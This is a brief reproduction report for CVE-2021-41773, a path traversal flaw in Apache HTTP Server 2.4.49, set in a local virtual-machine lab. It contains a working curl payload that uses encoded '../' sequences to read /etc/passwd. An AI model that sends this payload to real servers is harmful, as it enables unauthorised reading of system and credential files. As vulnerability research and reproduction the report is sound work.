CVE-2021-41773 Vulnerability Reproduction Report
Vulnerability Overview
- CVE ID: CVE-2021-41773
- Vulnerability Name: Apache HTTP Server Path Traversal Vulnerability
- Risk Level: High (CVSS 7.5)
- Affected Version: Apache HTTP Server 2.4.49
- Vulnerability Description: Apache HTTP Server version 2.4.49 has an implementation flaw in the path normalization function
ap_normalize_path. Attackers can bypass access controls by crafting special requests containing %2e encoding, allowing them to read arbitrary files on the web server.
Environment Setup
- Operating System: Ubuntu 20.04 (Virtual Machine)
- Web Server: Apache httpd 2.4.49 (manually compiled and installed)
- Target Environment: Standalone, listening on port 8080
- Key Configuration:
- Change
Require all denied in <Directory /> to Require all granted
- Add Alias
/vuln pointing to /tmp/vuln_dir and set permissions
Vulnerability Reproduction
Attack Command
curl -v --path-as-is 'http://127.0.0.1:8080/vuln/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd'
Attack Screenshots
fxdyx-a/cve-2021-41773-poc
